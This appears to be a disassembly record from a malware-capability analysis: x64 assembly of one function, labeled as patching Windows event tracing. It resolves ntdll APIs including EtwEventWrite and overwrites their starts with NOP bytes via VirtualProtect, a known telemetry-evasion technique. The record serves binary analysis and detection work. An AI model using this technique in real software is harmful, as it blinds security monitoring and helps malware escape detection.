Function at 0x140005664
Capabilities:
Patch event tracing for windows function

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov qword [rax + 8], rcx
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x2a8]
sub rsp, 0x380
xor r14d, r14d
mov cl, byte [0x14002a108]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [0x140022160]
movdqu xmmword [rsp + 0x30], xmm1
movsd xmm0, qword [str.ntdll.dll]
movsd qword [rsp + 0x20], xmm0
mov al, byte [0x140021d28]
mov byte [rsp + 0x28], al
mov byte [rsp + 0x29], r14b
mov byte [rbp + 0x2b0], cl
mov rcx, qword [0x140028cb8]
test rcx, rcx
je 0x140003fd1
mov rax, qword [rcx]
lea r9, [rbp + 0x2b0]
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x60]
call qword [rax + 0x10]
nop
mov rcx, qword [0x140028b38]
test rcx, rcx
je 0x140003fd7
mov rax, qword [rcx]
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
call qword [rax + 0x10]
lea rcx, [rsp + 0x40]
lea r15d, [r14 + 0xf]
cmp qword [rsp + 0x58], r15
cmova rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
mov r12d, 0x1000
mov rdx, qword [rsp + 0x58]
cmp rdx, r15
jbe 0x140003a22
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, r12
jb 0x140003a1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003fdd
call fcn.1400062f8
movdqa xmm0, xmmword [0x140022150]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], r14b
mov rdx, qword [rsp + 0x78]
cmp rdx, r15
jbe 0x140003a75
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, r12
jb 0x140003a68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003fe3
call fcn.1400062f8
movdqa xmm0, xmmword [0x140022150]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], r14b
mov rdx, qword [rsp + 0x38]
cmp rdx, r15
jbe 0x140003ab8
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, r12
jb 0x140003ab3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003fe9
call fcn.1400062f8
test rbx, rbx
je 0x140003fa9
lea rbx, str.ntdll.dll
mov qword [rsp + 0x20], rbx
lea rax, str.NtCreateFile
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x20]
lea rcx, [rbp]
call fcn.140004f24
nop
mov qword [rsp + 0x20], rbx
lea rax, str.NtOpenFile
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x40]
call fcn.140004f24
nop
mov qword [rsp + 0x20], rbx
lea rax, str.NtClose
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x80]
call fcn.140004f24
nop
mov qword [rsp + 0x20], rbx
lea rax, str.NtQueryInformationFile
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0xc0]
call fcn.140004f24
nop
mov qword [rsp + 0x20], rbx
lea rax, str.NtOpenKey
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x100]
call fcn.140004f24
nop
mov qword [rsp + 0x20], rbx
lea rax, str.NtSetValueKey
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x140]
call fcn.140004f24
nop
mov qword [rsp + 0x20], rbx
lea rax, str.NtDeleteKey
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x180]
call fcn.140004f24
nop
mov qword [rsp + 0x20], rbx
lea rax, str.EtwEventWrite
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x1c0]
call fcn.140004f24
nop
mov qword [rsp + 0x20], rbx
lea rax, str.EtwEventWriteFull
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x200]
call fcn.140004f24
nop
mov qword [rsp + 0x20], rbx
lea rax, str.EtwEventWriteTransfer
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x240]
call fcn.140004f24
nop
lea rax, [rbp]
mov qword [rsp + 0x20], rax
lea rax, [rbp + 0x280]
mov qword [rsp + 0x28], rax
movaps xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x20]
call fcn.140004944
nop
lea r9, [fcn.140004028]
mov edx, 0x40
lea r8d, [rdx - 0x36]
lea rcx, [rbp]
call fcn.140005fe8
mov rsi, qword [rbp - 0x18]
mov rbx, qword [rbp - 0x20]
cmp rbx, rsi
je 0x140003fa0
add rbx, 0x20
mov dil, byte [0x14002a108]
mov rdx, rbx
cmp qword [rbx + 0x18], r15
jbe 0x140003c90
mov rdx, qword [rbx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r14b
jne 0x140003ca6
lea rcx, [rsp + 0x40]
call fcn.14000504c
nop
mov byte [rbp + 0x2b0], dil
mov rcx, qword [0x140028cb8]
test rcx, rcx
je 0x140003fcb
mov rax, qword [rcx]
lea r9, [rbp + 0x2b0]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x60]
call qword [rax + 0x10]
nop
mov rcx, qword [0x140028b38]
test rcx, rcx
je 0x140003fc5
mov rax, qword [rcx]
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x40]
call qword [rax + 0x10]
nop
mov dil, byte [0x14002a108]
lea rdx, [rbx - 0x20]
cmp qword [rbx - 8], r15
jbe 0x140003d1d
mov rdx, qword [rdx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], r14
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r14b
jne 0x140003d33
lea rcx, [rsp + 0x20]
call fcn.14000504c
nop
mov byte [rbp + 0x2b0], dil
mov rcx, qword [0x140028cb8]
test rcx, rcx
je 0x14000401f
mov rax, qword [rcx]
lea r9, [rbp + 0x2b0]
lea r8, [rsp + 0x20]
lea rdx, [rbp - 0x60]
call qword [rax + 0x10]
nop
mov rcx, qword [0x140028b38]
test rcx, rcx
je 0x140004019
mov rax, qword [rcx]
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x80]
call qword [rax + 0x10]
nop
mov rcx, qword [0x140028bf8]
test rcx, rcx
je 0x140004013
mov rax, qword [rcx]
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x80]
call qword [rax + 0x10]
mov rdi, rax
mov rdx, qword [rbp - 0x68]
cmp rdx, r15
jbe 0x140003deb
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r12
jb 0x140003de6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003fef
call fcn.1400062f8
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], r15
mov byte [rbp - 0x80], r14b
mov rdx, qword [rbp - 0x48]
cmp rdx, r15
jbe 0x140003e2d
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, r12
jb 0x140003e28
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ff5
call fcn.1400062f8
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], r15
mov byte [rbp - 0x60], r14b
mov rdx, qword [rsp + 0x38]
cmp rdx, r15
jbe 0x140003e71
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, r12
jb 0x140003e6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ffb
call fcn.1400062f8
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], r15
mov byte [rsp + 0x20], r14b
mov rdx, qword [rbp - 0x28]
cmp rdx, r15
jbe 0x140003eb6
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, r12
jb 0x140003eb1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004001
call fcn.1400062f8
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r15
mov byte [rbp - 0x40], r14b
mov rdx, qword [rsp + 0x78]
cmp rdx, r15
jbe 0x140003efa
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, r12
jb 0x140003ef5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004007
call fcn.1400062f8
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r15
mov byte [rsp + 0x60], r14b
mov rdx, qword [rsp + 0x58]
cmp rdx, r15
jbe 0x140003f41
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, r12
jb 0x140003f3c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000400d
call fcn.1400062f8
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r15
mov byte [rsp + 0x40], r14b
test rdi, rdi
je 0x140003f8f
lea r9, [rbp + 0x2b8]
mov edx, 2
lea r8d, [rdx + 0x3e]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov word [rdi], 0x9090
lea r9, [rbp + 0x2b8]
mov r8d, dword [rbp + 0x2b8]
mov edx, 2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rbx, 0x40
lea rax, [rbx - 0x20]
cmp rax, rsi
jne 0x140003c7d
lea rcx, [rbp - 0x20]
call fcn.140004e98
lea r11, [rsp + 0x380]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.140005ea8
nop
call fcn.140005ea8
nop
call fcn.140005ea8
nop
call fcn.140005ea8
int3
call fcn.14000c3ec
nop
call fcn.14000c3ec
nop
call fcn.14000c3ec
nop
call fcn.14000c3ec
nop
call fcn.14000c3ec
nop
call fcn.14000c3ec
nop
call fcn.14000c3ec
nop
call fcn.14000c3ec
nop
call fcn.14000c3ec
nop
call fcn.140005ea8
nop
call fcn.140005ea8
nop
call fcn.140005ea8
int3
jmp 0x140003918